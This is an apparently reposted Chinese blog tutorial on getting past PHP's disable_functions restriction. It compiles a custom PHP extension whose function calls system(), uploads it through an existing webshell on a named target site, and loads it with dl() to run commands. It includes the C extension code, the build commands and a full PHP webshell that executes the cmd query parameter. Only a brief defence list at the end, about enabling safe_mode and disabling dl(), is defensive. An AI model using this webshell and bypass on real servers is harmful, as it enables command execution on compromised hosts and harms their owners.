利用 PHP 扩展模块突破 Disable_functions 执行命令
|
来源:http://hi.baidu.com/netxfly/blog/item/a2c7bb0ea8f7 作者:Netxfly 发布时间:2009-10-22
|
|
昨天最后一天上班,快办离职手续了,准备归还公司所有资产(一台x61,令牌和台式机),台式机已经走下线流程了(清除除系统盘外的所有硬盘的内容,Ghost恢复了系统盘),在整理硬盘文档时,找到一个2007 年 8 月 29 日写的paper,现在贴出来,这个方法可能已经有点过时了:)
前言 Php 是一种功能强大且应用非常广泛的脚本语言,Internet 中很多的网站都 是通过 php 架构的。使用 php 自带的 system,exec,passthru,shell_exec, proc_open 函数可直接执行系统命令,给服务器安全带来很大的威胁,所以一般 管理员在配置 php.ini 时, 都使用 disable_functions 选项禁止使用以上的危险 函数,给我们的渗透测试带来了很大的麻烦。 dl()函数允许在 php 脚本里动态加载 php 模块,enable_dl 选项默认是打开的,而管理员一般会疏忽这个选项,这样我们就有机会加载自已编写的 php 扩 展模块执行系统命令。extension_dir 选项可指定模块的目录,但是可以通过相 对路径方式饶过。 测试平台为:Red hat Linux 9 + Apache 2.0.59 + php4.4.7。
正文 假设我们得到了目标站点的 WebShell,但 disable_functions 选项限制了system,exec,passthru,shell_exec,proc_open 函数的执行,导致我们无法 执行 Local Root exploits 来提升权限。 WebShell 地址:http://www.69ngo.com/include/cmd_class.php?cmd=info 通过查看 phpinfo 信息得知禁止执行 system,exec,passthru,shell_exec, proc_open 函数,enable_dl=on,safe_mode=off,如下图所示:
编写 php 扩展模块 目标站点的 php 版本为 4.4.4,apache 为 2.0.52,版本比较旧了,官方现 在只提供最低版本的 php 和 apache 版本分别为 php-4.4.7 和 httpd-2.0.59。笔 者使用的为 php-4.4.7。
1. 创建 php 扩展模块 Php 的 ext 目录下有一个 ext_skel,可生成 php 扩展模块模板,方便程序员 编写 php 扩展模块。 tar -zxvf php-4.4.7.tar.gz cd php-4.4.7/ext/ ./ ext_skel –extname=security
创建一个名字为 security 的扩展模块,它会提示如何编写 php 模块,如下 图所示:
上面的命令执行后,会在 ext 目录下创建一个和模块名同名的目录,并自动生成创建 php 模块所需的文件,如下图所示:
2. 配置工程 Config.m4 是扩展模块配置文件,文件内容大致如下:
dnl If your extension references something external, use with:
dnl PHP_ARG_WITH(security, for security support, dnl Make sure that the comment is aligned: dnl [ --with-security Include security support])
dnl Otherwise use enable:
dnl PHP_ARG_ENABLE(security, whether to enable security support, dnl Make sure that the comment is aligned: dnl [ --enable-security Enable security support])
dnl 是注释符,如果我们要把 php 扩展模块编译到 php 中,就去掉PHP_ARG_ENABLE 编译选项前面的注释,我们想以 with 模式编译成.so 模块, 所以将 PHP_ARG_WITH 选项前面的注释去掉,最后修改如下图所示:
3. 编写代码 Security.c 中的是模板代码,我们在这个模板中加入自已的代码就可以了。
/* {{{ security_functions[]
*
* Every user visible function must have an entry in security_functions[].
*/
zend_function_entry security_functions[] = { PHP_FE(confirm_security_compiled, NULL) /* For testing, remove later. */
{NULL, NULL, NULL} /* Must be the last line in security_functions[]
*/
};
/* }}} */ 以上为 php 模块的入口函数,假如我要新建一个 netxfly 函数,把
PHP_FE(confirm_security_compiled, NULL)改成 PHP_FE(netxfly, NULL) 就可以了,如下图所示:
Php 模块的函数格式为 PHP_FUNCTION(函数名),我们把confirm_security_compiled 示例函数改成 netxfly,然后调用 system()函数执行 命令。
PHP_FUNCTION(netxfly)
{
char *arg = NULL;
int arg_len, len;
char string[256];
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s",
&arg, &arg_len) == FAILURE) {
return;
} System(arg);
}
然后在 php_security.h 中声明一下 netxfly 函数,代码如下:
PHP_FUNCTION(netxfly); /* my Evil function*/
4. 编译扩展模块 cd ../../
rm --fr configure
./buildconf --force
./configure --with-security=shared
Make
Make install
如果不出问题,就会在 php-4.4.7/modules/下编译出 security.a 和security.so。security.a 是导入库,security.so 就是我们写的 php 扩展模块,如 下图所示:
5. 在本地测试环境中测试
写一个 test.php,如果函数执行成功就会在本地生成一个 tmp.txt 文件。如 下图所示:
6. 发布到“生产环境”
从 phpinfo 得知目标站点的 extension_dir=/usr/lib/php4, SCRIPT_FILENAME=/pub/vhosts/69ngo/www.69ngo.com/include/cmd_class. php,我们把 security.so 上传到 cmd_class.php 同一目录下,所以在用 webshell动态加载 security.so 的路径为:dl("../../../pub/vhosts/69ngo/www.69ngo.com/include/security.so");
写一个简单的 WebShell:
<?php
if ($_GET[cmd] != "")
{
if (!strcmp($_GET[cmd], "info"))
{
phpinfo();
}
else
{
dl("../../../pub/vhosts/69ngo/www.69ngo.com/include/security.so");
$command = $_GET[cmd] . " >tmp.txt";
netxfly($command);
echo file_get_contents('tmp.txt');
echo "<br>The Command Completed Successful!";
}
}
else
{
echo "Error, ;)";
}
?>
上传webshell到“生产环境”中(目标主机),就可以调用 security.so 模块中的 netxfly()函数执行系统命令了,如下图所示:
防御方法: 1. Safe_mode=on,禁止使用 dl()函数加载外部模块 2. 将 dl()加到 disable_functions 选项列表中
参考资料: http://www.xfocus.net/articles/200704/915.html http://www.toplee.com/blog/archives/56.html http://jason.rocklv.net/techdoc/PHPExt.html
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|